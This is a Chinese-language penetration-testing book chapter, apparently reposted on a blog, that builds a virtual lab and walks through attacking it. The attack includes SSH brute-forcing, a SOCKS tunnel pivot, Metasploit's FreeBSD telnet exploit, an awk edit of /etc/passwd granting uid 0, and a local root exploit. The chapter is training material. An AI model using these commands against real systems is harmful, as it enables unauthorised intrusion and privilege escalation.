在询问网络时,你发现只有一个面向网络的服务器。这台服务器正在运行最新版本的 WordPress。唯一提到的其他服务是 SSH,他用它来在紧急情况下访问网站。在办公室时,管理员使用管理区域直接访问服务器,但这个区域无法从互联网访问,并且被防火墙隔离。服务器的 IP 地址是192.168.10.25。在询问环境时,管理员让你知道他们使用分段的内部网络、多个防火墙、IDS 和 WAF,并且确信这种分层防御方法足以保护核心数据网络,重要和机密的研究信息最终将被存储在那里。

你需要向管理层提供信心,如果这个设置要上线,他们的数据是受到保护的。你需要模拟一个没有先前网络知识和有限时间来执行攻击的攻击者。管理员提到他打算为服务器使用虚拟镜像,并且它们将在每天晚上关闭并恢复到原始状态。

设置

像往常一样,我们需要设置我们的虚拟实验室来模拟这个环境,因为我们正在执行的渗透测试纯属虚构。然而,不要认为这种努力是徒劳的;许多渗透测试人员将尝试模拟他们客户的网络,以确保他们打算使用的漏洞实际上有效且稳定,更不用说这减少了勤奋的管理员和安全专业人员检测到你的行动的可能性。根据渗透测试的类型,这可能是至关重要的。

NewAlts Research Labs 的虚拟网络

我们将在 VirtualBox 中设置以下环境:

NewAlts Research Labs 的虚拟网络

系统名称:pfsense1

  • 操作系统:pfSense 2.0(FreeBSD)

  • 虚拟磁盘大小:1GB

  • RAM:128

  • 三个网络适配器(内部):

  • WAN = 192.168.10.1(Int10)

  • LAN = 192.168.20.1(DMZ20)

  • OPT1 = 192.168.30.1(DEV30)

  • OPT2 = NAT(这是一个可选步骤,它允许您轻松下载和安装必要的软件包。这个适配器应尽快禁用。)

  • 安装的软件包:

  • Snort(确保配置和更新)

  • Strikeback(仅在 pfSense 的 32 位版本中可用。)

  • 为所有三个接口设置 DHCP 服务器。

  • 允许私有 IP 通过 WAN 接口。

  • 设置规则以允许从 WAN 到 LAN 的端口 22、80、443 和 3306。

  • 设置规则以允许从 LAN 到 OPT1 和反向的端口 21、22、23、25、80、443。

提示

在构建实验室时启用 ICMP 流量可能有助于您解决问题。在开始虚构的渗透测试之前,应阻止 ICMP。

系统名称:pfsense2

  • 操作系统:pfSense 2.0(FreeBSD)

  • 虚拟磁盘大小:1 GB

  • RAM:128

  • 两个网络适配器(内部):

  • LAN= 192.168.40.2(CORE40)

  • WAN = 192.168.30.2(DEV30)

  • 为核心(LAN)接口设置 DHCP

  • 通过 WAN 接口允许私有 IP

  • 设置规则以允许从 Core(WAN)到 Dev(LAN)适配器的所有内容

  • 设置规则以允许从 Dev(LAN)到 Core(WAN)的所有内容

提示

如果硬盘空间有限,则尝试将 pfsense1 用作链接基础。这可以通过克隆 pfsense1 并选择链接设备来实现。选中重新初始化接口 MAC 地址的复选框。

系统名称:WebServer

  • 操作系统:Ubuntu 10.04

  • 用户:John Dow(jdow),密码:039Alts2010

  • 虚拟磁盘大小:6 GB

  • RAM:最低 128 MB(建议 512 MB)

  • 要安装的软件包:

  • OpenSSH

  • lamp-server^

  • WordPress(最新版本)

  • 两个网络适配器(内部):

  • eth0 = 192.168.20.100(DMZ20)

  • eth1 = 192.168.30.100(DEV30)

  • 在锁定静态 IP 之前执行所有系统更新

系统名称:DevMachine

  • 操作系统:FreeBSD-8.2-RELEASE-i386-disc1:大多数镜像路径上都有:(/pub/FreeBSD/releases/i386/ISO-IMAGES/8.2/)

  • 用户:John Doe(jdoe),密码:1A2b3C4d!

  • 虚拟磁盘大小:4 GB(标准安装,基本用户将适合 4 GB 或更少)

  • RAM:最低 128 MB(建议 256 MB)

  • 两个网络适配器(内部):

  • eth0 = 192.168.40.101(CORE40)

  • eth1 = 192.168.30.101(DEV30)

该系统将需要安装默认的 SSH 和 INETD(Telnet,FTP)服务器。必须为此系统上的两个适配器配置 DHCP,否则您将遇到技术困难。这可以在操作系统安装过程中完成。在所有情况下使用用户名 jdoe。

系统名称:Kioptrix Level 1

  • CORE40 上的 1 个网络适配器(DHCP 将分配地址)

该系统将作为最终包含公司关键基础设施的 ArchLinux 数据库服务器的占位符。管理员声称您永远不应该能够从192.168.40.0/24网络到达此区域。他对这一事实非常确定,以至于他在核心段放置了一个已知易受攻击的系统来证明这一点。您的目标是从192.168.40.0/24网络段获得 Kioptrix 机器的 root 权限。

其他系统修改

在整本书中,我们已经全面介绍了在 VirtualBox 环境中安装和配置操作系统(如 pfSense 和 Kioptrix),因此为了简洁起见,我们将只关注使本练习中的系统与默认安装不同的步骤。幸运的是,我们只需要担心配置 Ubuntu web 服务器。

Web 服务器修改

名为Webserver的系统将需要安装并运行lamp-server^。如前所述,我们还需要安装和配置最新版本的 WordPress。WordPress 团队在提供社区详细的逐步安装和配置说明方面做得非常出色,可以在互联网上访问:codex.wordpress.org/Installing_WordPress。在这一点上,使用的用户名、数据库和密码并不重要,但应该易于记住且强大。请记住,本练习中的管理员打算构建一个安全的环境。在测试此环境时,您将需要“忘记”自己知道密码和用户名是什么…

除了完全修补和更新这个系统,我们还需要设置 SSH 服务器来接受我们在 192.168.10.0/24 模拟的(互联网)连接中的 jdow 用户,一旦 WordPress、OpenSSH 和静态 IP 被配置好。

一旦 WordPress 运行起来,我们需要用以下文本替换示例页面:

NewAlts Development and Research center
orem eu massa commodo eleifend quis gravida tortor. Vestibulum vestibulum lacinia ultrices. Nunc rhoncus placerat dui adipiscing tincidunt. Maecenas rutrum orci ac lacus adipiscing adipiscing tempor dui consequat. Aliquam vestibulum nulla gravida est sagittis non iaculis quam egestas.Thank you for visiting the NewAlts Development and Research center where we focus on examining all sorts of rocks and minerals and hope to make your life easier and safer! As we like to say in the office: NewAlts Rocks! Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi dolor lacus, malesuada vitae sodales eu, vulputate a leo. Mauris vulputate tristique nulla, at vestibulum nisl fringilla ut. Duis a quam quis lectus rutrum cursus. Morbi volutpat lorem eu massa commodo eleifend quis gravida tortor.
Vestibulum vestibulum lacinia ultrices. Nunc rhoncus placerat dui adipiscing tincidunt. Maecenas rutrum orci ac lacus adipiscing adipiscing tempor dui consequat. Aliquam vestibulum nulla gravida est sagittis non iaculis quam egestas. Thanks again for your visit and if you run into any problems with the website please contact our website administrator at jdow@newalts.lab! . Morbi volutpat lorem eu massa commodo eleifend quis gravida tortor. Vestibulum vestibulum lacinia ultrices. Nunc rhoncus placerat dui adipiscing tincidunt. Maecenas rutrum orci ac lacus adipiscing adipiscing tempor dui consequat.

这将为我们提供一些在现场工作的信息。我们可以继续进行本章更有趣的部分!当浏览到我们的WebServer机器时,我们应该看到类似以下截图的内容:

Web server modifications

挑战

实验室已经建立,连接已验证;现在是时候把整本书中获得的信息付诸实践了。挑战自己,在这个环境中从头到尾执行一次完整的渗透测试。这包括以下项目:

  • 确定范围(管理员只允许你在他的 VPN 上使用两个小时)。

  • 了解客户为什么要进行渗透测试。这对于真正满足用户需求至关重要。对于一些职业来说,这很容易,但对于渗透测试人员来说,情况并非总是如此。确定你的客户是想要进行渗透测试还是更接近一般性的漏洞分析。

  • 规则的参与文件:

  • 使用提供的信息创建一个实用的规则参与文件。

  • 确定并记录 ROE 中的范围。

  • 在 ROE 中巩固对测试的任何假设。

  • 明确定义的目标。你需要做什么来证明成功?仅仅展示一个带有whoami = root的屏幕截图对大多数观众来说是不够的。

  • 决定是否使用 Dradis、Magic Tree 或其他数据管理工具来管理你的结果。

  • 制定你的初始测试计划。在测试之前提前知道你的初始步骤是很重要的。

  • 进行侦察。

  • 开始枚举并决定攻击计划。根据范围的不同,你可能能够对资源进行漏洞扫描或应用程序扫描。这将会很吵。

  • 在枚举过程中,你应该收集关于可能的防火墙、IDS 或负载均衡的信息。

  • 执行你的攻击计划。由于渗透测试的性质,这将因测试而异,有时甚至需要在进行中进行更改。如果某些事情不如预期那样工作,要准备好备用计划。

  • 成功获取系统访问权限后,执行后利用,如果需要设置一个枢纽点深入网络架构。

  • 实现渗透测试的目标。

  • 清理。

  • 生成你的报告。

  • 安排会议与客户一起审查结果。

尽管渗透测试的“利用”阶段最具吸引力,但其他步骤对于成功的渗透测试同样重要。一定要练习并准备好每个步骤。了解渗透测试中的工具和技术非常重要,但这些将不断变化,而过程本身保持相对稳定,因此任何自动化或改进这些步骤的努力将对长远发展最有益。

祝你好运!在测试结束时,你应该能够完全控制 Kioptrix 机器。一定要仔细记录你的步骤和任何建议的更改,以使网络更安全!不要提前阅读,因为那会包含会破坏你测试的剧透。

步骤

希望在阅读本章的这一部分之前,你已经能够完成你的测试。它将包含示例和至少一种实现我们设定的目标的方法,即侵入我们自己网络或机器上运行的虚拟 NewAlts 开发实验室的安全。如果你的文档或获得初始目标的方法与本章描述的不同,这并不意味着它是错误的,只是不同。通过实践,渗透测试人员将开发出适合他们的技能和知识库的自己的方法。

注意

可能有其他方法可以达到我们的目标,而不仅仅是本章描述的方法。本章的目标是从头到尾给出渗透测试工作流程的一个示例。如果你找到了在 CORE 网络上的 Kioptrix 机器上获得 root 权限的其他方法,那就值得祝贺了!这就是渗透测试的全部意义!

定义范围

通过阅读情景目标和背景信息,可以清楚地定义这个特定测试的范围。

  1. 我们有两个小时的时间来测试一个虚拟环境,该环境已经被制作成模拟我们的客户最终希望在生产中使用的环境。

  2. 我们所知道的唯一用户是代表虚构的 NewAlts 研究与开发公司的管理员。

  3. 这个网络上的信息对公司完全无害。没有特殊需要加密或小心处理第三方服务。

  4. 我们的目标是完全攻破放置在 CORE 192.168.40.0/24 网络段中的 Kioptrix 机器,这个网络段无法从模拟互联网连接的 192.168.10.0/24 网络段中到达,而这将存在于生产环境中。

  5. 我们可以使用我们所知的任何技术,包括社会工程、利用、拒绝服务等。天空是极限。

  6. 这些系统上的任何数据或信息都不违反我们所知的任何法律,无论是州法还是联邦法。由于该网络仅用于教育目的,我们可以随心所欲。

  7. 网络上的所有系统都将基于开源。

考虑到这些因素,显然挑战在于有限的时间因素。如果我们团队中有几个人,我们可以建议使用几个具有非常具体任务的测试人员并行运行,以充分利用有限的两小时测试时间。(管理员拒绝支付超过两小时的标准费率,该费率基于最多三名测试人员加入测试)。

确定“为什么”

尽管在这种情况下,“为什么”对我们来说已经很清楚,但我们不应变得自满。这有助于测试人员和业务方了解你的测试的真正目标,并允许你专注于使你的测试和报告与实现这一目标保持一致。

在这种情况下,管理员已经明确表示漏洞分析工具已经针对这个网络使用过,并且他已经解决了除了业务认为可以接受的问题之外的所有问题。这将因企业的风险偏好而异,根据你所处理的公司或个人的风险偏好。了解风险偏好可能有助于确定“为什么”。也许你只是测试环境,只是为了向业务部门证明他们可以放心,攻击者需要超过两个小时才能攻破他们的网络,而这恰好是他们的安全团队在他们的环境中发现任何奇怪活动所需的时间。

那么,这个特定测试的“为什么”是什么?

管理员明确表示,如果任何关键数据被恶意入侵者收集,将直接造成经济损失。在公司工作的科学家们并不精通技术,并将使用基本的解决方案来解决技术问题。可以肯定地说,他们将在文件服务器上存储未加密的测试文件,这些文件由多个用户共享,其中包含关键数据。在这种情况下,“为什么”的原因是担心会损失大量资金,需要有人向业务保证管理员建议的安全配置足以防止发生这种情况。

制定规则的参与文件

这份最关键的文件必须写得清楚,定义明确。我们现在已经获得了制定规则的所有所需信息,在进行任何测试之前必须呈交并达成一致。

提示

规则的参与应由具有代表您的客户的全部权限的 C 级高管签署。

规则的参与必须详细说明范围、系统、网络地址以及测试期间允许和不允许做的事情。无论您决定采用的模板或外观如何,您为应对挑战而创建的文件应至少包含以下信息:

  1. ROE 创建日期:2020 年 1 月 2 日。

  2. 贵公司及任何直接参与测试的测试人员的名称和联系信息:Lee Allen。

  3. 请求摘要:我们需要完全攻陷 Kioptrix 机器,该机器位于 CORE 网络段,无法从模拟生产环境中存在的 192.168.10.0/24 段的互联网连接访问。

  4. 渗透测试的快速描述(以下内容摘自本书的第一章规划和范围确定成功的渗透测试):渗透测试使企业能够了解所采用的缓解策略是否按预期工作;它基本上消除了猜测。渗透测试人员将被要求模拟攻击者可能尝试的行动,并将被要求证明他们能够攻陷所针对的关键系统。这使企业能够了解安全控制是否按预期工作,以及是否有任何需要改进的地方。

  5. 将执行的测试类型:无限制的完全攻陷渗透测试,除了时间限制。

  6. 限制:2 小时时间。

  7. 渗透测试的明确目标:在两小时内完全攻陷位于 CORE 网络段的 Kioptrix 机器。

  8. IP 范围:192.168.10.0/24,192.168.20.0/24,192.168.30.0/24,192.168.40.0/24。

  9. 数据处理:数据被说明仅用于测试,因此不得以任何方式视为机密处理。

  10. 如何处理发现可能违反州或联邦法律的数据:在通知企业或其实体之前,将事先通知相关当局。

  11. NewAlts Development 联系人及其电话号码等清单:Jon Doe。

  12. 需要公司相关主管的签名:NewAlts Development CISO,CIO 或其他负责人。除非管理员能证明否,否则管理员没有足够的权限允许您测试 NewAlts Development Corporation 的资产。

攻击的初始计划

ROE 完成后,我们可以查看网络图并制定攻击计划。让我们审查管理员提供给我们的网络布局。

攻击的初始计划

在这次白盒测试中,我们被提供了网络架构,以弥补我们正在测试模拟环境并受到严格时间限制的事实。我们需要确定路由器是否会允许我们从 pfSense1 到 WebServer 和 DevServer。从提供的图表中不清楚我们是否可以远程访问 Kioptrix Level 1 机器。我们的初始计划如下:

  1. 对 192.168.10.1 防火墙和网关进行漏洞扫描。我们知道这一点,所以我们也可以利用它!对此图表中列出的所有系统执行相同的操作。

  2. 对 192.168.20.0/24 执行网络和漏洞扫描。

  3. 如果我们可以从 192.168.10.0/24 设备到达其他段,我们也将对它们执行网络和漏洞扫描。

  4. 如果我们无法到达任何网络,我们将对 WebServer 应用程序执行 Web 应用程序扫描,并查看是否有任何我们可以利用的 Web 应用程序漏洞。

这个最基本的计划足以让我们开始。我们从这些步骤中收集的信息应该足以让我们进入下一步。谁知道,也许管理员是对的,设置实际上是安全的!(在这种情况下不太可能!)

注意

在这次测试的有限范围内,可以使用任何可用的文档手段,以便您能够向客户提供可接受的报告。

枚举和利用

我们首先执行行动计划中的第一步,并使用我们选择的工具扫描设备。在这种情况下,我决定使用 MagicTree。它允许我从应用程序内运行查询,并且具有即时生成报告的能力。

加载 MagicTree 并创建一个新节点,就像我们在书的第一章中所做的那样,规划和范围确定成功的渗透测试,并对从 192.168.10.0/24 子网可用的任何网络运行 Nmap 扫描。如果一切配置正确,您应该只能看到192.168.20.1192.168.20.0/24网络上的Webserver

枚举和利用

在审查我们获得的数据时,我们发现这些系统上运行着一些有趣的服务,应该进行审查。让我们快速对它们进行漏洞扫描,以节省时间。我们将使用 OpenVas 执行漏洞扫描。OpenVas 包含在 BackTrack 5 R1 中,但必须在使用之前进行适当配置。有关设置 OpenVas 的说明可以在Backtrack-linux.org网站上找到www.backtrack-linux.org/wiki/index.php?title=OpenVas&oldid=756

注意

请注意,OpenVas 配置将需要互联网连接。

在意识到扫描将花费太长时间并且会使我们超过两小时的标记后,我们决定继续进行测试计划的下一阶段,并迅速确定安装的软件已经相当更新,并且没有任何已知的漏洞适用于任何开放服务。从查看网站时,我们还注意到它是最新版本的 WordPress 的标准安装。在仔细审查网站时,我们注意到一个联系电子邮件地址。我们将这个电子邮件地址添加到我们的 MagicTree 笔记中。有很大的可能性,电子邮件名称jdow也用作网络登录。如果是这种情况,我们已经解决了一半的难题。也许我们可以暴力破解 Joe 的 SSH 密码。

在这一点上,我们决定尝试 SSH 服务器。根据范围,我们被允许使用任何可用的工具,这为我们打开了暴力破解密码的可能性。再次,请记住这次测试有限的时间,所以我们决定使用cewl从 192.168.20.100 的网站上拉取密码列表。

# /usr/bin/ruby1.8 /pentest/passwords/cewl/cewl.rb -e -w dict 192.168.20.100 

这个命令在我们当前的目录中创建一个名为dict的文本文件。我们可以尝试直接运行这个列表,看看这些单词是否会帮助我们暴力破解 SSH 服务器的用户名或密码。

然后,我们将该列表通过cupp运行,以添加一些特殊字符,连接单词,并且通常滥用该文件。完成后,我们可以通过消除许多不太可能使用的密码来节省时间,例如只有数字的密码,例如 00000001 等。如果单词列表太大,则删除其中一个选项并尝试。

枚举和利用

通过xhydra使用jdow用户名和新生成的密码列表运行此列表,您将希望出现以下提示(在测试系统上花了 15 分钟,整个实验室都在运行;在您的系统上可能需要更长的时间,特别是因为整个实验室使用了大部分资源):

枚举和利用

现在我们有了一个 SSH 连接。登录到 WebServer,查看 jdow 账户的权限是什么。您会意识到我们没有安装任何软件的能力。相反,我们决定使用 WebServer 作为一个枢纽点(在这种情况下是 SSH 代理)使用 MetaSploit。首先,我们需要在 BackTrack 中设置我们的 SSH 隧道到 Webserver:

# ssh -D 127.0.0.1:3306 jdow@192.168.20.100 

这将在端口 3306 上创建我们的隧道,用于发动我们的攻击。这是使用 443 的隧道的一个示例,它将增加与网络上其他加密流量混合的额外好处。由于我们最终使用的漏洞存在一些稳定性问题,我们选择 3306 而不是 443。

枚举和利用

登录到 Metasploit,我们设置了一个代理连接,允许我们通过 WebServer 连接使用 Metasploit。在 Metasploit 中执行以下命令,这些命令是根据 HD Moore 的邮件列表回复进行调整的。原始消息可以在以下网址找到:mail.metasploit.com/pipermail/framework/2010-January/005675.html

setg Proxies SOCKS4:127.0.0.1:3306
setg LPORT 45567
setg PAYLOAD bsd/x86/shell/bind_tcp

这些命令将设置代理和首选有效载荷的全局变量。我们选择默认的本地端口为 45567。

作为下一步,我们需要确认确实有一个 FreeBSD 机器可用于 192.168.30.0/24 网络,正如管理员所通知的。为了做到这一点,我们可以从 Telnet 服务器进行横幅抓取,看看是否有哪种操作系统正在使用的迹象。这也可能是一个好主意,看看是否有任何来自 NMAP 扫描的信息。

使用标准的 Nmap 扫描,我们注意到我们的流量被拦截。在这一点上,我们可以使用其他扫描方法,但决定手动尝试找到最常见的端口,而不是等待代理扫描的结果,这可能会很慢。

注意

我们无法从这个枢纽运行标准的 SYN 扫描。有替代的扫描方法,但这超出了本章的范围。

枚举和利用

我们碰巧知道有一个已知的 FreeBSD Telnet 漏洞,管理员似乎已经安装在这个系统上(通过我们在 WebServer 上的 SSH 会话使用 NetCat 进行确认)。我们使用nc来检查最常见的端口,如 80、25、21 等。在采取这种方法之前,我们首先检查是否安装了 nmap 或其他扫描程序。

枚举和利用

让我们尝试执行已知的漏洞。目标系统很可能是脆弱的,因为这是一个相对较新的漏洞。

枚举和利用

首先,我们在 MSF 中搜索 Telnet,然后我们在exploit/freebsd/telnet/telnet_encrypt_keyid上设置了我们需要的一切,并准备尝试利用漏洞。

它起作用,我们可以运行一些命令来验证我们登录的身份,以及系统连接到了什么。

枚举和利用

注意,我们现在可以将这个系统用作攻击平台,攻击 192.168.40.0/24,这是管理员提到的 CORE 安全区域。让我们试着提升游戏账户的权限。我们切换到/etc/目录并运行以下命令:

awk -F ":" 'BEGIN{OFS = ":"} $1 == "games" {$3="0"}{$4="0"}{$7="/bin/bash"}{ print }' passwd > test 

复制生成的测试文件到passwd文件上,我们现在应该能够用那个账户登录了。注意:我们无法更改我们的游戏账户或其他任何账户的密码!默认的pam安全性阻止了我们进行这个本来微不足道的任务!这再次证明了作为渗透测试人员,你必须保持专注,永不放弃。如果某事不起作用,尝试做一些改变,或者改变整个方法,直到你成功为止!

幸运的是,我们以 root 身份登录到了系统,所以我们尝试/usr/sbin/adduser并设置一个名为 lee 的用户,密码为 lee。awk语句被修改后我们再次尝试:

# awk -F ":" 'BEGIN{OFS = ":"} $1 == "lee" {$3="0"}{$4="0"}{$7="/bin/bash"}{ print }' passwd > test
# cp test passwd

现在让我们转到 WebServer 上的 SSH 会话,看看我们的 lee 账户对我们有什么作用。

在下一阶段,我们必须利用我们已知的最后一个目标系统的知识。我们已经了解了它的漏洞,并且有代码(记得10.c?)可以在 192.168.30.101 系统上编译,以利用 192.168.40.102 系统。在这一点上,继续进行的许多方法包括简单地将10.c的代码复制到 vi 中,然后通过 FreeBSD 机器上的 GCC 进行编译。

枚举和利用

一旦10.c被编译,我们就能够运行它并获得对 Kioptrix 一级机器的 root 访问权限。为了证明我们能够访问这台机器,我们决定更改 root 密码。这通常不是一个好主意,但根据我们的约定规则,这是完全可以接受的。我们使用passwd命令将 Kioptrix 机器的密码更改为NothingIsSecure,然后注销并断开所有连接。

我们重新连接到我们的 WebServer 机器上的 SSH,然后 SSH 登录到 DevServer:

枚举和利用

我们随后使用新密码登录到我们的 Kioptrix 机器的 SSH,以验证我们已经实现了渗透测试的目标。

枚举和利用

报告

我们已成功完成渗透测试,现在必须制作文档。您的报告应该看起来专业、有条理,并清楚解释发现的问题,还应该用非技术性的语言解释这些问题可能是如何被忽视的。重点是介绍允许您进入的原因,但也要确保指出一些工作的地方,比如在尝试为标准游戏账户添加密码时遇到的pam限制(在一个声称安全的环境中,这样的账户在技术上本不应该存在)。

让我们花点时间来分析我们在这次渗透测试中遇到的问题:

  1. 我们能够暴力破解一个使用大写和小写字母以及数字的密码。密码也超过了八个字符,这在一个安全的环境中是相当标准的。用户绝对不应该使用基于公司名称或其他琐事的密码。如果有人有一个页面说他们喜欢足球,那么你最好相信它会出现在某人的基本单词列表中。建议在这里是将 SSH 连接限制在特定的 IP 上,或者至少要求除了简单登录外还需要证书。尽管这看起来微不足道,但许多公司继续忽视这一简单的步骤。账户锁定也是阻止暴力破解密码攻击的一种可靠方法。

  2. 我们利用了一个已知的漏洞。很可能这个漏洞最终会被修补。真正的问题在于 Telnet 一开始就在运行。这是一个已知的不安全协议,以明文传输数据。在这种情况下,企业必须认为这是一个可以接受的风险,因为正在传输的数据的性质。在这里学到的教训应该是,只有关键服务应该随时运行,而且只是因为有一层安全机制并不意味着其他系统可以完全依赖这种安全机制。

  3. 将一个已知的易受攻击的系统作为目标只会招来麻烦。在现实世界中,这是绝对不可接受的。通过使用这样的系统,管理员将会在一些人心中引起怀疑。他们不会明白这个系统代表了他们在启动时的“加固”服务器。解释说攻击者将有超过两个小时的时间来进行攻击,并且会安装各种恶意软件,最终帮助破解任何加固的机器。

  4. 网络安全设备在适当监控和控制时是有效的。然而,它们并不是万能药。只有通过深度防御,一个上网的企业才能真正安全,即使这样,随着安全研究人员和恶意黑客发现新技术,甚至可能会有不同程度的“安全”。要记住的是,安全研究人员报告他们的发现是为了帮助保护最终用户。当安全研究人员发布有关漏洞的信息时,重要的是要记住这个漏洞并不是的,它只是新公布的。安全研究人员并没有创造这个漏洞;他或她只是把它带给了那些负责纠正编码错误的人。恶意用户可能早就知道这个漏洞,甚至可能已经使用这个漏洞多年。恶意攻击者会保守他们的秘密,并最大化地利用这项技术。许多企业不理解这种区别,我们的工作就是确保他们知道真正的威胁是谁,以及为什么安全研究人员要做他们的工作。

如果你在你的模拟报告中捕捉到了所有这些以及更多内容,恭喜你!这个挑战并不代表最具挑战性的环境,但希望它能成为一个对使用修补系统、防火墙、入侵检测系统等来保护关键资产的高度安全环境进行渗透测试的良好介绍。

总结

在这一章中,我们首先建立了一个场景,让我们能够从头到尾模拟一个渗透测试。然后我们开始设置测试环境,然后深入到成功进行渗透测试所必需的阶段。

一旦基础知识掌握了,你就会被挑战在这个环境中进行自己的测试。希望对你来说,这既具有挑战性又令人兴奋!

我们通过提供一个可能的执行这种渗透测试的方法来完成了这一章节。有其他方法可以完成同样的任务,有些比其他方法更好。我们的目标是展示其中一种方法。在实验室中尝试不同的场景。利用它来获取你需要的技能,或者磨练你已经拥有的技能。当做工作的时候,你需要尽可能多的运气和技能,因为在这个世界上有一件事是肯定的:“任何可能出错的事情都会出错”墨菲定律。

posted @ 2024-05-04 14:57  绝不原创的飞龙  阅读(30)  评论(0编辑  收藏  举报